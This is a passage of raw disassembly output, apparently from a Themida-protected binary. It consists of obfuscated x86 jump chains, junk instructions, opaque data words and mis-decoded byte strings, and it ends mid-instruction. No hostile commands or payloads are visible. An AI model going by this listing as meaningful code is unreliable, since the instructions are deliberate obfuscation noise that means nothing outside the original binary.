223744EFh, 745AE9h, 24048100h dd 70AC455Ah, 5AEE815Eh, 0E970AC45h, 0F0ADh, 0FF243C89h dd 5F042474h, 8B24048Fh, 34FF2424h, 1073E924h, 0C890000h dd 4CF8B924h, 0C801694Ah, 8DE6E959h, 4810000h, 7A0FE124h dd 0ED815D4Eh, 4E7A0FE1h, 8FED815Bh, 81211C45h, 1E18C2C5h dd 0F0E58140h, 0E9494D3Dh, 4DE5h ; --------------------------------------------------------------------------- loc_592538: ; CODE XREF: Themida_:00598A8Fj add ebx, 0FA0E8B46h jmp loc_599E41 ; --------------------------------------------------------------------------- db 53h dd 832687BBh, 5BD8013Dh, 54BF3081h, 5A5879A4h, 0FF205F29h dd 835B2434h, 0EC8104C4h, 4, 0E431E9h, 2434FF00h, 348EE9h dd 55685D00h, 8900007Eh, 5FBA2414h, 0E9422C0Eh, 0BDA6h ; --------------------------------------------------------------------------- loc_592584: ; CODE XREF: Themida_:0059154Fj push dword ptr [esp] pop ebx push eax mov eax, esp sub esp, 4 mov [esp], edx mov edx, 4 jmp loc_5A04A2 ; --------------------------------------------------------------------------- dw 5556h dd 56CFABDh, 0E889502Eh, 3562E9h, 4C68100h, 51000000h dd 4B9h, 59CE2900h, 5C243487h, 68243489h, 4, 8124348Bh dd 4C4h, 0DDC58100h, 1351379h, 0DDED81F5h, 5E351379h, 5B596853h dd 2C890000h, 35666824h, 2C8B1E7Fh, 4C48124h, 0C1000000h dd 0F58105EDh, 0F3F9A9h, 0D3A6E9h, 4B800h, 0CDE90000h dd 5B0000B6h, 4C381h, 0C3810000h, 4, 0E9241C87h, 620Ch dd 0EE81FE29h, 1D3D3F2Bh, 0FFEBF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_592631: ; CODE XREF: Themida_:0059E1B6j pop esi pop dword ptr [esp] jmp loc_5977B5 ; --------------------------------------------------------------------------- loc_59263A: ; CODE XREF: Themida_:0059A617j mov ebp, [esp] add esp, 4 loc_592643: ; CODE XREF: Themida_:00593680j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_594987 ; --------------------------------------------------------------------------- db 0BDh dd 2F0C7D29h, 16F5814Dh, 5163924Bh, 28688CB9h, 0C8C9816Fh dd 0E9354D6Ch, 682Bh, 8704C283h, 815C2414h, 84A55EAh, 0E6EA8114h dd 112D253h, 0A5CE9CAh, 0C8010001h, 7D34E9h, 8FE95300h dd 8100003Dh, 0B61099EBh, 330686Bh, 0C890000h, 4CA3B924h dd 0C3815F73h, 45334454h, 10918E9h db 0 ; --------------------------------------------------------------------------- loc_5926B9: ; CODE XREF: Themida_:005A0CEDj mov esp, [esp] movzx cx, al push 7C4Dh mov [esp], edx push esp jmp loc_58F94F ; --------------------------------------------------------------------------- dw 67BAh dd 81543A46h, 104D2AC2h, 0D9EA8171h, 0E977D14Fh, 5CA0h ; --------------------------------------------------------------------------- loc_5926E4: ; CODE XREF: Themida_:0058F061j pop edx push 1CD4h mov [esp], edi mov edi, 4 add eax, edi push dword ptr [esp] jmp loc_591A41 ; --------------------------------------------------------------------------- loc_5926FC: ; CODE XREF: Themida_:0059AC26j push ebx push ecx push 79437C1h pop ecx jmp loc_59B1C8 ; --------------------------------------------------------------------------- aBayuFsig db 'íyu¹F鈣',0 align 4 dd 4F18B468h, 9E3E94Ah, 335C0000h, 0FCE92404h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592727: ; CODE XREF: Themida_:0059CD9Cj mov [esp], eax jmp loc_592493 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 2BF5724h, 1000000h dd 0FF555FFDh, 5D042474h, 0FD8BE9h, 240C8700h, 93EFE9h dd 8BF20900h, 0C4832434h, 2BC28104h, 122C802h, 49E95AD3h dd 5100003Fh, 0FFCFB4E9h db 0FFh ; --------------------------------------------------------------------------- loc_592779: ; CODE XREF: Themida_:005A0BC4j mov esi, 6A3C600Bh jmp loc_59EBD0 ; --------------------------------------------------------------------------- aLS db '‹$$éÚÉ',0 dw 8B00h dd 0C4812434h, 4, 0D5D1E9h, 24048B00h, 81E18951h, 4C1h dd 4C18300h, 0D5EFE951h, 34890000h, 4BE24h, 1BE90000h dd 8700003Ch, 8A5C242Ch, 8802247Ch, 66022474h, 8324148Bh dd 0EC8302C4h, 0A1E3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5927D6: ; CODE XREF: Themida_:005908F9j push edi jmp loc_58FA1D ; --------------------------------------------------------------------------- loc_5927DC: ; CODE XREF: Themida_:005A1A7Ej add eax, 29BF7836h sub eax, ebp sub eax, 29BF7836h pop ebp jmp loc_58F6F6 ; --------------------------------------------------------------------------- aIcsyz db '‰çéyZ',0 dd 0E1BA5200h, 831C670Fh, 0EA81FFEAh, 7CA22130h, 3797BB53h dd 81430344h, 4A0FDFCBh, 0F959E962h, 0E530FFFFh, 0FFD958E9h dd 0E9F321FFh, 0CFDh, 8924248Bh, 0E389241Ch, 4C381h, 68560000h dd 974h, 3021E9h db 0 ; --------------------------------------------------------------------------- loc_59283D: ; CODE XREF: Themida_:005908C7j sub ebp, esi push ecx mov ecx, 3ACE3987h not ecx shr ecx, 4 add ecx, 3720339h add ebp, ecx jmp loc_58FB7F ; --------------------------------------------------------------------------- db 8Fh dd 665C2404h, 2404A30Fh, 0BAEDE99Ch, 0F701FFFFh, 0FFE396E9h db 0FFh ; --------------------------------------------------------------------------- loc_59286D: ; CODE XREF: Themida_:0059CFB2j mov [esp], edi push 4 pop edi jmp loc_5A0B82 ; --------------------------------------------------------------------------- loc_59287B: ; CODE XREF: Themida_:0059A98Bj mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_5A2A94 ; --------------------------------------------------------------------------- dd 32ACED81h, 0F58108E3h, 0E9065A95h, 0AADFE9h, 50F78100h dd 310AE273h, 2434FFF8h, 2F1D685Fh, 3C890000h, 68E78924h dd 321Ah, 0BD242C89h, 6C7F542Ch, 93ED8145h, 4515271Ch dd 0DDF7DDF7h, 3797ED81h, 87E95758h, 680000ADh, 5CBBh dd 54241489h, 8324148Bh, 0E95704C4h, 0FFFFDBB7h, 3AAF781h dd 79E93458h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5928F7: ; CODE XREF: Themida_:0059AF86j pop ecx xchg edi, [esp] jmp loc_59613F ; --------------------------------------------------------------------------- dd 5B2434FFh, 4C481h, 14330000h, 0DA86E924h, 1C8BFFFFh dd 4C48324h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 4245C01h dd 0F8D9E9h, 182D3500h, 0C329486Ah, 5BD90158h, 0FFD4C1E9h dd 4C481FFh, 0E9000000h, 2D71h, 625CC281h, 0D001E201h dd 8324148Bh, 386804C4h, 89000069h, 0EC83243Ch, 240C8904h dd 7F5D9B68h, 240C8B38h, 4904C483h, 0E9E78957h, 0C1h ; --------------------------------------------------------------------------- loc_59297C: ; CODE XREF: Themida_:0059E927j add esp, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_59D8A4 ; --------------------------------------------------------------------------- dw 0BE56h dd 0F901710h, 0FFF9A2E9h, 0C48359FFh, 55576604h, 8904EC83h dd 6866241Ch, 0D2E96FEDh, 8B000080h, 0C4832434h, 609B3504h dd 0BA523BC5h, 3FF3507Fh, 148BD029h, 4C48324h, 0D2377E05h dd 0E9F80123h, 0BF7Fh, 0E902E9C0h, 0FFFFC349h, 0F634E954h dd 348B0000h, 4C48324h, 0FFF95DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5929E9: ; CODE XREF: Themida_:00596350j mov [esp], eax jmp loc_59F034 ; --------------------------------------------------------------------------- loc_5929F1: ; CODE XREF: Themida_:00596B7Aj sub edi, 546A1E65h jmp loc_598D91 ; --------------------------------------------------------------------------- dd 0E289525Ch, 4C281h, 0EE90000h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_592A0B: ; CODE XREF: Themida_:0059B4D0j not dword ptr [esp] pop edx add edx, 0E91AD2CCh mov ebp, edx mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebp, 9B839F73h sub eax, ebp pop ebp jmp loc_5A2269 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 53000000h, 4BBh, 47A6E900h, 0CCBD0000h, 0E922B115h dd 9307h, 3E5AC181h, 0E981117Fh, 0E93159FEh, 159C829h dd 0AFBF57F8h, 0E95CCE5Dh, 1C87h, 8104C483h, 584D54EDh dd 0E9D50162h, 8814h, 5C241C87h, 0B9240C89h, 36EB0C51h dd 0A2B6E955h, 24890000h, 24048324h, 24048F04h, 4240483h dd 8B2434FFh, 0E9502404h, 1B38h, 0EE88A1B5h, 0F4885059h dd 88E28852h, 48B5AD1h, 4C48124h, 0E9000000h, 547Eh, 0C104C483h dd 50E907E6h, 830000CDh, 0D5E904ECh, 8100004Fh, 54BF2434h dd 478F79A4h, 20B85020h, 0E9000000h, 0A87Eh, 5C24048Fh dd 0FF241C89h, 0FF042474h, 5E92434h, 810000A7h, 0D35AC6C5h dd 37ED813Ah, 2940D823h, 37C581CDh, 0E940D823h, 2E23h dd 4C48359h, 4C181h, 0C6E90000h, 0F7000078h, 0B0F1E9DFh dd 535F0000h, 3609E9h, 0E99C5000h, 0FFFFB80Fh, 6E2DCA81h dd 0CA810112h, 32CB56A6h, 8105EAC1h, 0A1689EC2h, 5AD131CBh dd 62E9CD29h, 56000082h, 4BEh, 5EF20100h, 0E9241487h, 0FFFFFE88h dd 0A62AEBBBh, 4DBD5533h, 0F7395D5Eh, 0F7D5F7D5h, 0A8ED81D5h dd 0E9A18527h, 82E3h, 0E7C1DFF7h, 4EC8106h, 89000000h dd 0F3B82404h, 50248637h, 582414F7h, 0FFCC44E9h, 0E75A05FFh dd 0C531E8FBh, 7EDC158h, 7E76ED81h, 0ED812ABDh, 445A0BDCh dd 0F60FED81h, 0E8019297h, 2404875Dh, 4C4835Ch, 3795E9h dd 5DEA0900h, 72BCE950h, 0DF290000h, 2BF2BA52h, 0F4E96AB9h dd 590000A6h, 685DEA89h, 6CE2h, 9C92E9h db 0 ; --------------------------------------------------------------------------- loc_592BFD: ; CODE XREF: Themida_:00599DE5j xchg eax, [esp] jmp loc_5973BB ; --------------------------------------------------------------------------- db 55h, 0FFh, 74h dd 0E95D0424h, 84D4h, 8104C483h, 4C3h, 4C38100h, 53000000h dd 0F180E9h, 3900BA00h, 0F6E92F42h db 0DBh, 2 dup(0FFh) byte_592C2F db 81h ; DATA XREF: Themida_:0058E0F0o dd 4ECh, 2487E900h, 54510000h, 0A1CE959h, 0B2680000h, 8900005Ah dd 0B6BA2414h, 8117E838h, 354ECBC2h, 8BEA8147h, 31FEBE14h dd 0BE565AD3h, 53A756Ah, 0FFE168E9h, 24248BFFh, 2CEFE9h db 0 ; --------------------------------------------------------------------------- loc_592C71: ; CODE XREF: Themida_:005A0230j push 62C6h mov [esp], edx push 3C87h mov [esp], ecx push ebx jmp loc_5936F4 ; --------------------------------------------------------------------------- db 57h dd 0FFBF29E9h db 0FFh ; --------------------------------------------------------------------------- loc_592C8D: ; CODE XREF: Themida_:005954E6j sub esp, 4 jmp loc_5A0C40 ; --------------------------------------------------------------------------- db 68h, 41h, 79h dd 1C890000h, 24048124h, 22E31E58h, 58EE815Eh, 5622E31Eh dd 0B2243481h, 5D299C2Ch, 2CB2F581h, 8B5E299Ch, 8957241Ch dd 4C781E7h, 0E9000000h, 0E158h ; --------------------------------------------------------------------------- loc_592CCC: ; CODE XREF: Themida_:005916EFj sub edi, 0C86546Ah add edi, eax jmp loc_59ADCB ; --------------------------------------------------------------------------- db 1, 0C3h, 8Bh dd 73E92404h, 810000FCh, 63A6FF5h, 4EED812Ch, 5169331h dd 728A51F3h, 0F32DE801h, 5D728A51h, 49E9565Ah, 50000062h dd 2E5576B8h, 0D134E941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592D0E: ; CODE XREF: Themida_:0058EACEj mov ebp, esp add ebp, 4 jmp loc_5956CA ; --------------------------------------------------------------------------- db 68h dd 35F1h, 89240489h, 0A811E9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592D2A: ; CODE XREF: Themida_:0059E28Dj shr edi, 5 xor edi, 1B3AECEh push esi mov esi, esp push edx mov edx, 4FE9393Eh jmp loc_59B41F ; --------------------------------------------------------------------------- loc_592D41: ; CODE XREF: Themida_:005A0E75j mov eax, esp add eax, 4 jmp loc_5969FB ; --------------------------------------------------------------------------- aQrs db 'QRé´Æ',0 align 4 aSpiQiPiIcst db 'SPˆÈQˆÅPˆìˆçéâ*',0 dd 5EF33100h, 3E38EB81h, 0DA893996h, 88C6815Bh, 16AD751h dd 0D1D1E9D6h, 0B850FFFFh, 13A05075h, 5F4E9h, 61E95D00h dd 8900005Eh, 0BFE95FFEh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592D97: ; CODE XREF: Themida_:005A1633j xor ebp, [esp] pop esp mov [esp], edx push eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_592DA5: ; CODE XREF: Themida_:005938A3j mov bh, dl pop dx push eax mov al, 0A0h mov dl, 0FBh xor dl, al pop eax add dl, 0BBh sub dl, bh sub dl, 0BBh pop ebx neg dl push ecx mov ch, 0E9h dec ch jmp loc_59E0A5 ; --------------------------------------------------------------------------- dw 32BFh dd 81057476h, 0BF2717CFh, 81D7F768h, 3D256ACFh, 0BF8DE971h dd 562D0000h, 109A01Fh, 0FC05E9C1h, 0BB530000h, 2, 0FFEB70E9h db 0FFh ; --------------------------------------------------------------------------- loc_592DF5: ; CODE XREF: Themida_:00596C1Dj mov [esp], eax jmp loc_58E353 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0C0369ABBh, 5BDE2142h, 70B85055h, 55320139h, 6E56E9h dd 83C18100h, 56179F02h, 5887E9h, 53162D00h, 0FE2D036Ah dd 0E97EE17Bh, 91B7h ; --------------------------------------------------------------------------- loc_592E30: ; CODE XREF: Themida_:0059C198j push ebp mov ebp, esp add ebp, 4 jmp loc_5A0096 ; --------------------------------------------------------------------------- dw 0C681h dd 81B5BEBEh, 835EF501h, 2C8704EDh, 0F9D2E924h, 575DFFFFh dd 42474FFh, 83243C8Bh, 48F04C4h, 8B665C24h, 0EC812404h dd 4, 83241489h, 248904ECh, 0C87FE924h, 0EB810000h, 1880578Ah dd 177EB81h, 0EB814E11h, 43BE6B54h, 0C381D301h, 43BE6B54h dd 177C381h, 0C3814E11h, 1880578Ah, 0A055E9h, 27A60500h dd 0F82914AFh, 749BB951h, 0D9F73524h, 1A95E9h, 47316800h dd 34890000h, 0C838E924h, 405FFFFh, 5000000h, 4, 0D398E9h dd 0E9EA8700h, 0FFFFD4D0h, 4EC81h, 0C890000h, 81E18924h dd 4C1h, 33C8E900h, 33BD0000h, 0F7608E07h, 1312E9D5h, 34890000h dd 6869E924h, 4B80000h, 29000000h, 2C8758C5h, 2A9BE924h dd 0E95F0000h, 0FFFFDF68h dword_592F1C dd 240C8B66h, 52E38953h, 0C281E289h, 4, 4EA81h, 0FF520000h ; DATA XREF: Themida_:0058E100o dd 0E9042474h, 4CE3h, 797CC181h, 0F9017511h, 797CE981h dd 335F7511h, 0C31240Ch, 240C3324h, 6624248Bh, 6600B60Fh dd 0E93EAB68h, 0F6FCh, 2434895Ch, 8904EC83h, 4832424h dd 348B0424h, 4C48324h, 4C681h, 4D680000h, 89000008h, 0E9532404h dd 1BA3h, 4B8h, 24440100h, 24048B04h, 4C481h, 685B0000h dd 411Ah, 0E9242C89h, 0DA8h, 4BFh, 0CEBD5500h, 0C15D9C11h dd 0D5E905EDh, 0BDFFFFECh, 1B181910h, 0FFFFED81h, 0ED81FFFFh dd 7D7902FBh, 0EDC1D5F7h, 0A5F58106h, 55018983h, 0F3243481h dd 5F22B919h, 5576BB53h, 0F38123E1h, 5A9D34F4h, 6166E9h dd 5CAEBF00h, 0CCE94908h, 8100002Fh, 0C406C4F2h, 2DEA811Fh dd 89029237h, 0EF815AD1h, 6C810210h, 0C781CF29h, 6C810210h dd 243C8759h, 0CA50E95Ch, 0C15EFFFFh, 0E95507E2h, 0C7E5h dd 51243C8Bh, 0C1815954h, 4, 8704C183h, 575C240Ch, 0C84BF0BFh dd 0E212E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59304E: ; CODE XREF: Themida_:00594949j add esi, edx pop edx pop ebp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push 1478h mov [esp], ebx push esi mov esi, 35F57431h jmp loc_599926 ; --------------------------------------------------------------------------- db 83h dd 0A46804C4h, 8900003Eh, 0AFB5240Ch, 4E9DE9h, 4C48100h dd 8B000000h, 89502414h, 0FE34E9E0h, 34FFFFFFh, 0C4815824h dd 4, 1A59E950h, 15D0000h, 3C8B5AD0h, 4C48124h, 2D000000h dd 51C53CC7h, 0C705F029h, 2D51C53Ch, 55EB23D3h, 9ABFE95Eh dd 0C4830000h, 4C58104h, 83000000h, 2C8704C5h, 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5A0DC3 ; --------------------------------------------------------------------------- dd 4EC8152h, 89000000h, 2CBD242Ch, 812F9B3Ch, 35417CC5h dd 962AE953h, 0B1B50000h, 0FFE24BE9h, 0F5815DFFh, 4A4F18B0h dd 4EC81h, 2C890000h, 24348124h, 0D944DB0h, 81243C8Bh dd 4C4h, 0B0F78100h, 8B0D944Dh, 0C483242Ch, 0AAC18104h dd 1332A02h, 822CE9F9h, 0C8000000h, 2434FF59h, 4C4835Ah dd 3FE68h, 240C8900h, 5574E9h, 81CA2900h, 952DD3EAh, 2434FF37h dd 5A506859h, 75E90000h, 8B00005Bh, 0C483242Ch, 0F18104h dd 89145010h, 86E959CEh, 54000096h, 8124048Fh, 42404h dd 3C8B0000h, 4C48124h, 68000000h, 6112h, 78B8E9h, 24048700h dd 0FC00B5Ch, 0D68784h, 33366800h, 0C890000h, 0BB535724h dd 7E626B56h, 685BDF89h, 7E626C54h, 5FF92959h, 9CCBE9h dd 82F58100h, 1418869h, 242C8BEEh, 4C481h, 0F3010000h dd 0BC0CE95Eh, 148BFFFFh, 4C48124h, 0F6000000h, 51CBFEDBh dd 0EB30BDB5h, 5BD82059h, 5FAB68h, 241C8900h, 659968h dd 243C8900h, 0DF5CE957h, 0EE810000h, 1E585713h, 0F1E9DE01h dd 81FFFFC2h, 0A7168EDh, 243C8B01h, 0E904C483h, 0D89h dd 4A19F281h, 2DE91FA8h, 8100008Dh, 4C3h, 241C8700h, 58C1815Ch dd 0E90AAF7Ah, 0A1ACh ; --------------------------------------------------------------------------- loc_593248: ; CODE XREF: Themida_:005A16A2j mov [esp], ebp push eax mov eax, 1D1B7D91h mov ebp, eax mov eax, [esp] add esp, 4 or esi, ebp mov ebp, [esp] jmp loc_5A0292 ; --------------------------------------------------------------------------- loc_593263: ; CODE XREF: Themida_:0059ECBAj xor dword ptr [edx], 6427D79h mov edx, [esp] add esp, 4 mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_59DF3D ; --------------------------------------------------------------------------- loc_593280: ; CODE XREF: Themida_:0059F403j pop ebp and ecx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_597893 ; --------------------------------------------------------------------------- loc_593292: ; CODE XREF: Themida_:00595AEDj add eax, 4 jmp loc_59ED5F ; --------------------------------------------------------------------------- aIcsX?Ys0x db '‰çS»å?ßyé0•',0 dd 44EE8100h, 121077Ah, 0CCBA52FEh, 811C3830h, 1557CDCAh dd 92CA810Eh, 8170774Ah, 3F6C4FCAh, 9BF28139h, 15E7805h dd 0EE815AD6h, 60074E50h, 4425685Fh, 34890000h, 2414F724h dd 0E924348Bh, 8027h, 4C281h, 52500000h, 586099BAh, 0A0CEB849h dd 742DC455h, 295F2208h, 87405D0h, 0E95A5F22h, 0FABAh dd 5C242C33h, 9C240CFFh, 0FFB036E9h, 242C81FFh, 655A3BECh dd 0C909E95Bh, 575BFFFFh, 886C8FBFh, 0FFC78353h, 7554CF81h dd 0CF812E22h, 5172D26h, 0C781DFF7h, 2D6B5EECh, 2337C781h dd 0F829820Bh, 5571E9h db 0 ; --------------------------------------------------------------------------- loc_593355: ; CODE XREF: Themida_:0058F22Dj sub bl, dh jmp loc_59B1E6 ; --------------------------------------------------------------------------- dd 4244481h, 44630091h, 4246C29h, 4246C81h, 44630091h dd 242C815Dh, 3226732Eh, 0FFB71BE9h, 5ABA52FFh, 0E94DE457h dd 9F79h, 24148B5Dh, 81E68956h, 4C6h, 4EE8300h, 0E9243433h dd 8AF5h ; --------------------------------------------------------------------------- loc_5933A0: ; CODE XREF: Themida_:00599DB3j neg eax xor eax, 30ED6673h add eax, 502F4C14h add edi, eax mov eax, [esp] add esp, 4 push esi mov esi, 34737A3Eh shr esi, 3 add esi, 0FC3A75EFh xor edi, esi jmp loc_597932 ; --------------------------------------------------------------------------- aTlSsl db 'T‹<$éá‹',0 dw 8B00h dd 0C481243Ch, 4, 0A3E9C329h db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5933E3: ; CODE XREF: Themida_:0059F00Aj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp add ebp, 2 xchg ebp, [esp] jmp loc_5974BA ; --------------------------------------------------------------------------- byte_5933FB db 0F7h ; DATA XREF: Themida_:0058E228o dd 0E99C241Ch, 0FFFFAF4Fh, 104C483h, 645068D0h, 34890000h dd 34BFBE24h, 0F0016079h, 603CE95Eh, 0EE810000h, 4, 0D555E9h dd 8AC18000h, 687DF180h, 7AEFh, 88241489h, 885351CEh, 0E4F9E9F7h dd 0E953FFFFh, 0B7CBh, 8BEB895Dh, 2868242Ch, 89000043h dd 0EC83242Ch, 4EC8104h, 0E9000000h, 0EBE6h, 42474FFh dd 0FFC519E9h db 0FFh ; --------------------------------------------------------------------------- loc_59346D: ; CODE XREF: Themida_:00594A80j or edx, eax shl edx, 1 push ebp jmp loc_59FFFD ; --------------------------------------------------------------------------- db 54h dd 4C18159h, 53000000h, 4BBh, 8BD90100h, 0C483241Ch, 69BAE904h dd 0FF570000h, 5F042474h, 13F4E9h db 0 ; --------------------------------------------------------------------------- loc_59349D: ; CODE XREF: Themida_:0059B25Cj mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], eax push esp pop eax jmp loc_5A01FE ; --------------------------------------------------------------------------- dd 0E9241489h, 2E5Fh, 555BDD01h, 42474FFh, 0E9242C8Bh dd 0CC04h, 793CAC2Dh, 42D5B2Ch, 33000000h, 4312404h, 24043324h dd 0D265E9h, 0BB539700h, 37572F70h, 0B1DE9h, 243C8900h dd 9A1E9EBFh, 0F490E96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5934FA: ; CODE XREF: Themida_:0059A21Ej sub ebp, 1E4643F2h sub eax, ebp pop ebp push esi jmp loc_591231 ; --------------------------------------------------------------------------- dd offset dword_455248+30720h align 2 dw 0C89h dd 119CE924h, 0B9510000h, 4, 3E8AE9h, 0B8505E00h, 0CAA54F8h dd 63033525h, 0F3FFE97Ah db 2 dup(0FFh) word_593532 dw 77FFh ; DATA XREF: Themida_:0058E2BCo dd 58669D1Ch, 9C240418h, 0FFAE12E9h, 58C331FFh, 45AB68h dd 241C8900h, 0FFD8D9E9h, 85B850FFh, 4809CA72h, 25E95240h dd 8300001Ah, 2C8704C5h, 136DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59356A: ; CODE XREF: Themida_:0058EAC8j mov eax, [esp] push edx mov edx, esp jmp loc_59876B ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 592434FFh, 815EE9h, 8B535C00h, 0A2E9243Ch db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_59358B: ; CODE XREF: Themida_:00590027j mov bh, 30h mov dh, 0AAh add dh, bh pop ebx mov cl, dh pop edx sub al, cl mov cx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_59C65E ; --------------------------------------------------------------------------- dw 5D68h dd 89000018h, 0E789243Ch, 0E904EC83h, 0A088h, 0E924348Bh dd 2EA8h, 34FFEB30h, 0C4815924h, 4, 3072EB80h, 0CB55E9D8h dd 585F0000h, 8904EC83h, 7AE92404h, 890000AFh, 4C181E1h dd 83000000h, 0C3304E9h, 240C3124h, 5C240C33h, 0E9243489h dd 0FFFFB581h, 3C8BFE89h, 8C54E924h, 0C890000h, 0FE5DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59361A: ; CODE XREF: Themida_:005996D0j mov bh, 0F6h and bh, 44h jmp loc_59712F ; --------------------------------------------------------------------------- dd 700C581h, 0C5814041h, 5BE25221h, 0BB53DD01h, 5DF009D5h dd 25D1E9h, 143C6800h, 14890000h, 2474FF24h, 24148B04h dd 8F04C483h, 248B2404h, 4896624h, 0ACF5E924h, 0C181FFFFh dd 4, 4C181h, 0C870000h, 0B323E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_593672: ; CODE XREF: Themida_:005A318Aj pop ecx and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jz loc_592643 push dword ptr [edi+1Ch] mov ecx, [esp] jmp loc_595798 ; --------------------------------------------------------------------------- loc_593691: ; CODE XREF: Themida_:0058FEADj pop eax sub esp, 4 mov [esp], edi push esp pop edi jmp loc_59438A ; --------------------------------------------------------------------------- loc_5936A2: ; CODE XREF: Themida_:005916CCj sub ebx, eax pop eax add ebx, 12C7426h add ebx, edx sub ebx, 12C7426h add ebx, 2A092957h sub ebx, 2E1406B0h add eax, [ebx] pop ebx mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 1711h mov [esp], eax jmp loc_591CF9 ; --------------------------------------------------------------------------- dw 55Ch dd 0FFFFFFFFh, 9CB7E9h, 0E95E5400h, 0C10Bh ; --------------------------------------------------------------------------- loc_5936F4: ; CODE XREF: Themida_:00592C82j mov bh, 67h mov cl, 31h sub cl, bh pop ebx push eax mov ah, 0A1h mov dh, 89h sub dh, ah pop eax sub dh, cl jmp loc_59387F ; --------------------------------------------------------------------------- dw 0E95Eh dd 0BAFAh, 0A4AEE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_593716: ; CODE XREF: Themida_:005A03DEj sub esi, 1AD3664h mov ebx, [esp] add esp, 4 and esi, 19B8381Ah sub esi, 11B81006h add ecx, esi pop esi jmp loc_5977E5 ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 83000000h, 148704C2h, 8BF7E924h, 0DBBE0000h dd 0F735F81Bh, 51EED1DEh, 0AA8AE9h, 24048900h, 2B8h, 0E9C18900h dd 0FFFFD2DCh, 4C19BE56h, 0EED1266Ch, 4604EEC1h, 38E9h dd 4C58300h, 5C242C87h, 8904EC83h, 2868242Ch, 8B580510h dd 0C483242Ch, 0B8505104h, 0AB1647Bh, 0BF16E9h, 0E9CF2900h dd 269Ch, 8804C483h, 240C8BCFh, 0C45CE9h, 0F7D6F700h, 1EF681DEh dd 19A7D7Fh, 6DE95EF5h, 8B0000A7h, 9668241Ch, 8900007Ch dd 0E589242Ch, 4C581h, 0C5810000h, 4, 5C242C87h, 0E779BF66h dd 8BEF3166h, 8951242Ch, 4C181E1h, 83000000h, 0C8704C1h dd 31665C24h, 3C8B66F8h, 0E1895124h, 5499BA52h, 0BE563FE2h dd 1DD76FDh, 0FE9F201h, 80FFFFF8h, 0EFC0C0F7h, 0E9CFFE05h dd 0F9BCh, 5E2C14Ah, 0FFB0F2E9h, 4C483FFh, 1D1EE9h, 81E68900h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 4BF243Ch, 1000000h dd 243C8BFBh, 5204C483h, 4BAh, 5AD30100h, 8B241C87h, 4292424h dd 0E4E99C24h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59386F: ; CODE XREF: Themida_:005960AEj xor ebp, 1CE24E63h sub eax, 597C635Eh jmp loc_5997A1 ; --------------------------------------------------------------------------- loc_59387F: ; CODE XREF: Themida_:00593705j mov ecx, [esp] add esp, 4 shr dh, 4 and dh, 63h shr dh, 2 inc dh jmp loc_599386 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 0FFE355E9h db 0FFh ; --------------------------------------------------------------------------- loc_59389D: ; CODE XREF: Themida_:0059ED66j push edx push ebx push dx mov dl, 0B1h jmp loc_592DA5 ; --------------------------------------------------------------------------- dd 4C681h, 60E90000h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5938B3: ; CODE XREF: Themida_:00597751j pop ebp add ebx, eax pop eax pop ecx push 5E1Fh mov [esp], ecx jmp loc_59972B ; --------------------------------------------------------------------------- db 9, 0FAh, 5Fh dd 4FC6BD55h, 0C58147B5h, 0EFF5D802h, 26C7E9h, 0E9E95300h dd 8100006Ch, 28B02404h, 0C8B2515h, 9792E924h, 24890000h dd 4BF5724h, 1000000h, 5F04247Ch, 0CCC2E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_593902: ; CODE XREF: Themida_:0059C402j pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5A2854 ; --------------------------------------------------------------------------- loc_593915: ; CODE XREF: Themida_:005A122Bj and ecx, 37266739h sub ecx, 2CAE2B7Ah mov ebx, ecx pop ecx jmp loc_59A515 ; --------------------------------------------------------------------------- db 81h, 0F1h, 0Ch aTSL db 'tº`é',0Bh,'‹',0 align 4 dd 6E05F829h, 517D6A6Bh, 27106853h, 0D15B097Bh, 9BC381EBh dd 893A179Dh, 241C8BD9h, 4C481h, 0E9570000h, 0FFFFCE01h dword_59395C dd 0FF2434FFh, 48B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add 